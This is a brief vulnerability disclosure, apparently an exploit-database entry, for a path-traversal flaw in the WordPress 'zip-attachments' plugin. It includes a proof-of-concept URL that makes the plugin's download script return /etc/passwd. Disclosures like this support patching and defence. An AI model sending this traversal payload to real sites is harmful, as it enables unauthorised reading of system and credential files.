The zip-attachments plugin allows arbitrary file downloads because it does not check the download path of the requested file.
PoC
http://www.example.com/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za;_filename=passwd